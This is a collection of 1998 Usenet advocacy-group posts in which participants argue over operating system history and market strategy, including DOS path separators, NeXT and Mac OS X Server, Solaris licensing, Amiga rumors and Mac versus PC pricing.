Well, yes. But back in the misty days of CP/M, the notion of
a hierarchy wasn't of much use when you could store around
400 kilobytes on one of them there gigantic eight-inch
floppies.
* The worst of these "inspirations" was the use of the "\" as
* a file name separator. Unix, of course, does it as God
* intended with the "/" and has caused myself and many others
* unmeasurable pain through the years.
I agree completely. This is one of those areas where all I can
see is that Microsoft decided to be different from UNIX just
for the sake of being different. And down at the OS level, the
whole thing about end-of-line conventions is just the biggest
crock. The Bell Labs people had it right according to the
ASCII specifications at that time. Microsoft and Apple ---
both of them --- appeared to do something different just for
the sake of being different. At least Microsoft adopted a kind
of belt and braces approach. Apple just ignored the ASCII
standard completely.
Well, History Again --- Hope it's not revisionist . . .
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sun, 4 Oct 1998 01:25:19 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6v7b59$5vk$1@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361462DE.A1DFB275@trilithon.com> <6v5kad$qta@host2.in-motion.net> <36170E22.4E78850B@trilithon.com>
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Henry McGilton wrote in message <36170E22.4E78850B@trilithon.com>...
[...]
> * The worst of these "inspirations" was the use of the "\" as
> * a file name separator. Unix, of course, does it as God
> * intended with the "/" and has caused myself and many others
> * unmeasurable pain through the years.
>I agree completely. This is one of those areas where all I can
>see is that Microsoft decided to be different from UNIX just
>for the sake of being different.
[...]
Actually I think it was related to the fact that the forward slash was
allready used as a different command (switch)... such as getting help on a
executable (appname.exe /?), or
runing a executable with a specific set of new rules, via "switches"
(appname.exe /a /id
/w).
Dan
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: 4 Oct 1998 13:31:34 GMT
Organization: Indiana University, Bloomington
Message-ID: <6v7tbm$vfj$1@jetsam.uits.indiana.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <36167243.6836@betabreakers.com> <6v60k4$3g1$1@flotsam.uits.indiana.edu> <3615679E.58ED@southwind.net>
In article <3615679E.58ED@southwind.net>, <jmz@southwind.net> wrote:
>Gregory Loren Hansen wrote:
>>
> <snip>
>>
>> I still have an account on a VAX that I rarely use. When was the last
>> time a new VAX machine was offered?
>>
>
> They were still selling them in the 1998 Digital catalog.Of course,it
>was only in '95 they quit making PDP-11's.
Oh. Well, this one is older than that.
They quit making PDP-11's in 1995, huh? Were these high-powered
spead-freak PDP-11's?
--
"It doesn't matter if you have a beard on the outside. It's the beard on
the inside that counts." -- Action Hank
From: Yves R. Crevecoeur <creveco@ibm.net>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu>
Organization: Integris Microsystems Inc.
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Date: 4 Oct 1998 14:10:01 GMT
Friends,
The MacOS is very difficult if not impossible to port to any platform.
That's why they had a hard time releasing Copland with backwards
compatibility.
NeXT had awsome obj UI and tools but the Unix underneath it could never
replace the MacOS. It's just a completely different beast when compared to
an everyday desktop OS. The NeXT UI could not hide all the Unix Server Stuff.
I agree that they need to stay on track with MacOS X development. They'll
need to keep some of the Unix stuff out of it. It should be more like the
BeOS.
The server market will be very difficult for anyone to penetrate now with NT,
Linux, Sun, HP, Novell, IBM, SCO just to name a few, they can forget it! I
can't see Apple offering anything that one of these OSes don't offer. (Note
that NT has many Server and Web development tools that can run circles around
NeXT (Seriously)).
Bottom line, Apple is behind in Desktop OS Architecture. They need focus on
that to catch up quickly.
CIAO
Yves
Eric Hermanson <eric@alum.mit.edu> :
> Terry Sikes wrote:
> > IMO, they are blowing it badly (since they have a very portable OS
> > courtesy of NeXT) and MOSXS for Intel would be a big hit if they'd
> > only push forward with it.
>
> I agree - it's a no brainer!
>
> In my opinion, Apple would be well served by doing the following 3 things:
>
> 1. Release the necessary source code to MacOS such that independent
> developers
> can port the operating system to foreign environments, most importantly
> Linux.
>
> 2. Continue developing, enhancing, and selling MacOS X Server for Intel.
> This
> is an excellent alternative to Windows NT, and in my opinion it will become
> the
> server OS of choice for medium/large companies across the world.
>
> 3. Continue developing MacOS on a two-track plan: fully equipped, higher
> performance, higher cost server version + less equipped, lower
> performance,
> lower cost end-user version. I don't see how you can sucessfully merge the
> two
> environments into one OS and make everyone happy (i.e. the administrators
> who
> need speed, features vs. the end-users who don't care about many server
> level
> things and just want a stable, low cost OS).
>
> - Eric Hermanson
Message-ID: <361862AC.B572DA9@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <6v9l1r$27uq$1@piglet.cc.uic.edu>
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NNTP-Posting-Date: Mon, 05 Oct 1998 02:10:45 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 05 Oct 1998 01:09:48 -0500
Anil T Maliyekke wrote:
> However, most Solaris customers are far more willing to part with
> more of their money than most Mac customers.
Please consider this reply a reply as well to your previous posting
(concerning MacOS licensing). The point I want to make here is the point
I would have made in that thread.
Solaris customers are *not* more willing to part with their money than
most Mac customers. Cost-conscious enterprise customers have been
leading corporation after corporation down the hellish road of Windows
NT, replacing capable Solaris servers and workstations with nice but
totally inadequate Windows NT machines.
Many of us at Ericsson have found poetic justice by pushing Intel-based
solutions through purchasing, which probably thinks we are running NT.
Instead, we install Linux and are porting massive chunks of our
environment over. We've already converted most of the local management,
which has found that our Linux solutions are an actual product that can
be sold to budget-conscious customers. Some of the managers have become
True Believers; I get emails every so often from managers who have found
a new article about positive Linux trends.
It's power, baby. If Apple had a solution I wanted, I'd do the same for
them. So would thousands of engineers across the globe. All Apple has to
do is build the [expletive deleted] solution. And ship it, of course.
> They are less price
> sensitive and are willing to pay for reliability and support. Plus
> most of these companies don't sell products that compete with Sun's
> more profitable high end products, or aren't willing to compete
> simply on price because they have high costs and other interests which
> they don't want to hurt as in the case of Fujitsu.
Do you know how Sun differentiates its high-end products? It spends
money building an operating system that can do high-end things in a way
that its licensees can't. Would that Apple did the same.
Solaris has support for up to 64 CPUs. Solaris has mind-blowing
capabilities that you can't find on a normal workstation. Even so, its
licensees build budget-conscious workstations that make a lot of
customers happy and keep them on the Solaris platform.
Apple doesn't have anything high-end. All it has is a new $1300 consumer
trend. What's going on? This is insane.
> When it comes down
> to it, most Solaris customers don't trust most of the existing cloners.
That's probably because Sun has a *very* positive image in its market.
Again, Apple has failed, here.
> And if clones are actually profitable for Sun, it's probably because
> they are getting not only revenue from the OS but also from the
> CPU module and supporting chip sets (at least in the case of the
> vendors who are selling UltraSPARC based clones).
That's right, but keep in mind that Ross and Fujitsu actually licensed
the CPU specs, as well. They build SPARC clones, and Sun makes money
from this, as well.
MJP
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sun, 04 Oct 1998 18:17:44 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6v8734$noi$1@pascal.a2000.nl>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu>
<pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
<36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com>
<361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com>
<6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com>
<6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com>
<6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com>
<joe.ragosta-0210982016330001@elk86.dol.net>
<mazulauf-0310980024190001@happy.met.utah.edu>
<joe.ragosta-0310980807430001@elk89.dol.net>
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In article <joe.ragosta-0310980807430001@elk89.dol.net> ,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>The most recent statement from Apple said fall, 1998. Let's take the worst
>case scenario and say it ships by year end. That's 6 months late.
>
>How late was Win96/97/98? And that was merely a bunch of bug fixes.
Who cares about Microsoft going out of business releasing too little too
late?
Pascal.
From: jmz@southwind.net
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 03 Oct 1998 10:24:01 +0000
Organization: None
Message-ID: <3615FB40.7ADE@southwind.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <36167243.6836@betabreakers.com> <6v60k4$3g1$1@flotsam.uits.indiana.edu> <3615679E.58ED@southwind.net> <6v7tbm$vfj$1@jetsam.uits.indiana.edu>
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Gregory Loren Hansen wrote:
>
> In article <3615679E.58ED@southwind.net>, <jmz@southwind.net> wrote:
> >Gregory Loren Hansen wrote:
> >>
> > <snip>
> >>
> >> I still have an account on a VAX that I rarely use. When was the last
> >> time a new VAX machine was offered?
> >>
> >
> > They were still selling them in the 1998 Digital catalog.Of course,it
> >was only in '95 they quit making PDP-11's.
>
> Oh. Well, this one is older than that.
>
> They quit making PDP-11's in 1995, huh? Were these high-powered
> spead-freak PDP-11's?
>
Considering that the 11 is a 16 bit machine...no.In fact as far as I
know it was the same model(s) for the last ten years or so.I have heard
most of them went into medical equipment and flight simulators.
Some other company _bought the rights_ to make a PDP-11 badged machine
and probably still make them.I think 11-architecture microprocessors are
still available as merchant silicon so their money basically gives them
name rights and a lot of old board layouts.
From: me@home.org (Just Me)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 4 Oct 1998 12:34:04 -0500
Organization: Newscene Public Access Usenet News Service (http://www.newscene.com/)
Message-ID: <363cb0bf.404077472@news2.newscene.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com>
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>-> What *I* do can't even be done on anything BUT Windows.
>
>How sad for you. Have you considered a change of jobs?
No thanks. Even though I am really getting disgusted with Windows
with having to reboot once or twice a day on average, I like my
industry. Too bad they are standardizing on Windows NT. Eventually
maybe the backlash that is sure to come will force M$ to come up with
a stable product rather than continually adding new do-hickeys.
From: jmz@southwind.net
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 03 Oct 1998 10:35:39 +0000
Organization: None
Message-ID: <3615FDFA.59E@southwind.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <3614FC12.5BE9@betabreakers.com> <36141887.5B80@southwind.net> <stevehix-0410980028450001@192.168.1.10>
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>
> Because their working software base run on SunOS well enough.
>
> It take money and time (=more money) to re-certify all your
> software on he next rev of the OS.
>
> For some businesses, it's not worth the bother. Yet.
>
> You could make a similar argument regarding all the current
> users of Dos 3.11 or Win95. Or MacOS 7.5.3 or 6.0.8 or ...
Beyond that,even new installs sometimes go with SunOS.And I would
venture that most Suns personally owned (home boxes) run SunOS mostly
out of preference.There is a Suns-at-Home mail list and there is more
NetBSD or Linux than Solaris 2 in use among its members.
People go to Solaris because they have to,not want to.And
increasingly,they don't have to.
From: thatoneoldguy <troll@net-link.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: Sun, 04 Oct 1998 13:38:02 -0400
Organization: eh, sonny?
Message-ID: <3617B27A.7766F63D@net-link.net>
References: <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <142C07F2128CE5A4.1B3F01B357ED9113.80F002D81BB1BCCA@library-proxy.airnews.net> <6v5vin$dc2$1@juliana.sprynet.com>
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Mark wrote:
>
> >>One thing that makes me hate Linux even more is when a bunch of Linux
> gurus
> >>try and convince each other how much Microsoft products suck. Why? Because
> >>they "have to" *convince* each other... i.e., holding rallyes and starting
> >>threads of complaints... Because none of it's true... of course, if you
> all
> >>say it to each other enough it's starts to sound more and more realistic.
> >>it's sick.
As a newbie(relatively speaking) to computing and as a nonprofessional,
I think a catchall comp.os.freeforall.advocacy NG would be a good thing.
I originally thought advocacy meant advocacy in the traditional sense of
the word, but advocacy that isolates itself from the competition(such as
it is)isn't advocacy, it's preaching to the choir. I personally like the
idea of Boris crossposting, although he doesn't have much to offer
except a skewed critique on Linuxer's hygiene and personal habits. To
get an accurate view of Linux, NT, OS2, etc., comparisons must be made,
flaws and foibles must be aired, and tempers, unfortunately, must be
aroused as each one's ox is gored in turn. Linux isn't the only answer,
but neither is NT or any of the several OS in common use. Each have
their focus and strong points, each can be spread too thin, each OS has
advocates who think their pet project is the ne plus ultra, but IMHO MS
epitomizes the one size fits all mentality the best.
--
-Mike List
From: Clancy Dalebout <fleegix@shell2.aracnet.com>
Newsgroups: alt.religion.computers,comp.os.ms-windows.nt.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Next generation Amigas
Date: 4 Oct 1998 23:20:00 GMT
Organization: Aracnet Internet
Message-ID: <6v8vr0$t2k$1@spitting-spider.aracnet.com>
References: <3600BD32.34DE@dusknet.dyn.ml.org> <F05tCw.AxD.0.hotlips@GTS.Net> <3614AC4D.3A0C5E0A@mindless.com> <3615a9f9.0@news.iglou.com> <6v6uid$6fc$1@sue.cc.uregina.ca>
User-Agent: tin/pre-1.4-980226 (UNIX) (Linux/2.0.35 (i686))
Originator: fleegix@aracnet.com (Clancy Dalebout)
In comp.os.linux.advocacy John Bayko <bayko@pollux.cs.uregina.ca> wrote:
> Not quite - the MMC is not x86 based, the "Next Amiga" will be x86
> based... specifically, it will be a x86 (probably DOS/Windows) based
> development system with a MMC (+ AmigaOS 4.0 - probably beta) on a card.
> The MMC was originally intended as some sort of multimedia
> coprocessor for PCs (and will prpbably be used that way anyway when it
> becomes real), but is complete enough to be used as a CPU.
I heard it in the wind that the "MMC" will be a Transmeta
chip. Probably just a rumor.
--
Clancy Dalebout | xmsho@!spam!nein!yahoo.com
"If the foundation is good, everything else can be fixed."
-- Mr. Blandings Builds His Dream House
From: Hugo Pozzanski <hugo-pozzanski@mindless.com>
Newsgroups: alt.religion.computers,comp.os.ms-windows.nt.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Next generation Amigas
Date: Mon, 05 Oct 1998 09:05:37 +0100
Organization: =?iso-8859-1?Q?=A0?=
Message-ID: <36187DD1.97A0EFDD@mindless.com>
References: <3600BD32.34DE@dusknet.dyn.ml.org> <F05tCw.AxD.0.hotlips@GTS.Net> <3614AC4D.3A0C5E0A@mindless.com> <3615a9f9.0@news.iglou.com> <6v6uid$6fc$1@sue.cc.uregina.ca>
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John Bayko wrote:
>
>
> The press releases say that it's from a "well known company", but one
> which is not known for anything in this area - that might mean
> anything from General Electric to Miller Brewing Company.
Not to sound pessimistic, but I remember this infamous 'well known
company' phrase from last time ;-) When Commodore UK, claimed their bid
for management buyout was backed by 'a well known company' (people at
the time were pointing fingers at IBM) however at the last minute, their
bid collapsed, and ESCOM took the crown jewels. Only later to suffer
the curse of the Amiga?
--
Hugo Pozzanski...
From: hughesojh@my-dejanews.com
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sun, 04 Oct 1998 19:45:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8j97$1v2$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com>
Yeah.
Percieved Speed VS Benchmark speed (save a few Microseconds here, but waste 10
or 20 seconds elsewhere) does come into the argument FOR using macs also.
In article <6v4cvb$n0u$1@eskinews.eskimo.com>,
pmfisher@eskimo.com (Pat Fisher) wrote:
>
>
> In article <dhNQ1.577$HF3.1311949@news14.ispnews.com>,
> Earl Malmrose <earl.malmrose@nospam.jetcity.com> wrote:
> >hughesojh@my-dejanews.com wrote in message
> ><6uvl5r$18r$1@nnrp1.dejanews.com>...
> >>Here's the problem with Rhapdsody x86.
> >>
> >>Apple sell systems.
> >>
> >>Their systems are cheaper and faster than Wintel crap.
> >
> >Nope. Go ahead and argue that MacOS is easier to use, but forget argueing
> >that Macs are cheaper *and* faster. There's no way you'll win that
> >arguement.
> >
> >
>
> Hello? But do you know how much time it takes day in and out to learn how
> Windows (3.1,98,95,NT) to think? I waste a lot of valuable time trying to
> remember how much to think.
> This is anecdotal, but I just get far much done on a Mac than I do
> Windoze.
>
> pat-
>
-----------== Posted via Deja News, The Discussion Network ==----------
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l, replace trashcan with david.
>
> When the long night comes, return to the end of the beginning.
> --- Kosh (???? - 2261 AD) Babylon-5
>
> "Where do you want to go tomorrow?" --- KDE tool tip
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: cjt&trefoil <cheljuba@prodigy.net>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sun, 04 Oct 1998 15:41:16 -0500
Organization: Prodigy Services Corp
Message-ID: <3617DD6C.4EFD@prodigy.net>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com>
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To: Just Me <me@home.org>
Just Me wrote:
>
<snip>
> What *I* do can't even be done on anything BUT Windows.
I'll bite -- what do you do that can't be done on anything but Windows?
From: hughesojh@my-dejanews.com
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sun, 04 Oct 1998 20:48:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8mui$80r$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com>
In article <362e5ed6.317592691@news3.newscene.com>,
me@home.org (Just Me) wrote:
> >Apple sell systems.
> >
> >Their systems are cheaper and faster than Wintel crap.
>
> Cheaper? Post some examples please.
>
>
Take ANY current Mac system.
It is going to let you do whatever it is you do faster than on an Intel box
for the same money.
Go to
http://www.apple.com and have a look around.
Easy enough.
OJH
-----------== Posted via Deja News, The Discussion Network ==----------
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From: hughesojh@my-dejanews.com
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sun, 04 Oct 1998 21:00:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8nls$94j$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com>
What makes you think M$ are CAPABLE, even on a 7 day week?
I think they genuinely meant 95 to be stable...
In article <363cb0bf.404077472@news2.newscene.com>,
me@home.org (Just Me) wrote:
> >-> What *I* do can't even be done on anything BUT Windows.
> >
> >How sad for you. Have you considered a change of jobs?
>
> No thanks. Even though I am really getting disgusted with Windows
> with having to reboot once or twice a day on average, I like my
> industry. Too bad they are standardizing on Windows NT. Eventually
> maybe the backlash that is sure to come will force M$ to come up with
> a stable product rather than continually adding new do-hickeys.
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: quinlan@intergate.bc.ca
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sun, 04 Oct 1998 23:14:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8vhi$ksp$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com>
In article <6v8mui$80r$1@nnrp1.dejanews.com>,
hughesojh@my-dejanews.com wrote:
> Take ANY current Mac system.
>
> It is going to let you do whatever it is you do faster than on an Intel box
> for the same money.
It's pretty easy to picks to find examples where a Mac won't do what you want
it to. And a single example of this makes your claim false.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
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From: me@home.org (Just Me)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 4 Oct 1998 18:30:03 -0500
Organization: Newscene Public Access Usenet News Service (http://www.newscene.com/)
Message-ID: <36410497.425544879@news2.newscene.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com> <6v8nls$94j$1@nnrp1.dejanews.com>
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On Sun, 04 Oct 1998 21:00:43 GMT, hughesojh@my-dejanews.com wrote:
>What makes you think M$ are CAPABLE, even on a 7 day week?
>
>I think they genuinely meant 95 to be stable...
95 has too much backwards compatibility baggage to be tweaked for
stability too much. NT stability has always been better but gets
worse with each major release.
From: me@home.org (Just Me)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 4 Oct 1998 18:32:01 -0500
Organization: Newscene Public Access Usenet News Service (http://www.newscene.com/)
Message-ID: <364204ff.425648756@news2.newscene.com>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com>
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>Take ANY current Mac system.
>
>It is going to let you do whatever it is you do faster than on an Intel box
>for the same money.
Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
From: id_est@interport.net (tse_di)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sun, 04 Oct 1998 20:28:05 -0400
Organization: none
Message-ID: <id_est-0410982028060001@192.168.1.10>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <macghod-0310981502130001@1cust56.tnt1.santa-barbara.ca.da.uu.net>
In article
<macghod-0310981502130001@1cust56.tnt1.santa-barbara.ca.da.uu.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <362e5ed6.317592691@news3.newscene.com>, me@home.org (Just
Me) wrote:
>
> > >Apple sell systems.
> > >
> > >Their systems are cheaper and faster than Wintel crap.
> >
> > Cheaper? Post some examples please.
>
> Well he is a comparison of dell versus apple:
>
> dell p2 450 g3 266
> 64 megs 100 mhz sdram 64 megs sdram
> 10 gig ide 8 gig ide (only choices 8 or 12, no 10)
> 8 meg ati xpert 98 (rage pro I believe) 6 meg rage pro
> no modem no modem
> 10 base t 10 base t
> virus scan
> ms office 97 sbe none
> 3 year warranty 1 year warranty
> $1946 $1999
>
> Dont know which one will be faster, tho I suspect the cheaper p2 450 :P
I am not going to comment on the speed issue but when one is comparing
prices that are only $50-$100 apart one can't say one is cheaper than the
other. The reason I say this because variations in shipping charges and
taxes can make one or the other cheaper. For example Dell typically
charges $100+ for shipping but Apple doesn't charge for shipping if you
buy from the apple store. In addition you have the choice of buying an
Apple system at a retail outlet where there aren't any shipping charges at
all, Dell doesn't have this option. So if I bought a Dell for $1946 with
next day delivery and I live in New York I going to pay $2251.55 for the
dell ($145 Shipping +160.55 Sales Tax). If I go out the a retail store in
NY I will pay 2163.92 for the Apple system. If I happen to live in New
Hampshire then there isn't any sales tax and the Apple System would
actually cost $1999 (maybe less as prices at the Apple store are typically
have no discount and retailers sometimes do). You can also purchase from
other vendors that will not charge you sales tax but will charge shipping.
This is not to say that one system is the better than the other or that
you can't buy PC's at retail outlets, just that if you are comparing
prices on something that costs around $2000 any price variation less that
a hundred or so is a wash, you can't realistically say that one is cheaper
than the other.
From: jmz@southwind.net
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sat, 03 Oct 1998 19:03:29 +0000
Organization: None
Message-ID: <36167501.2C23@southwind.net>
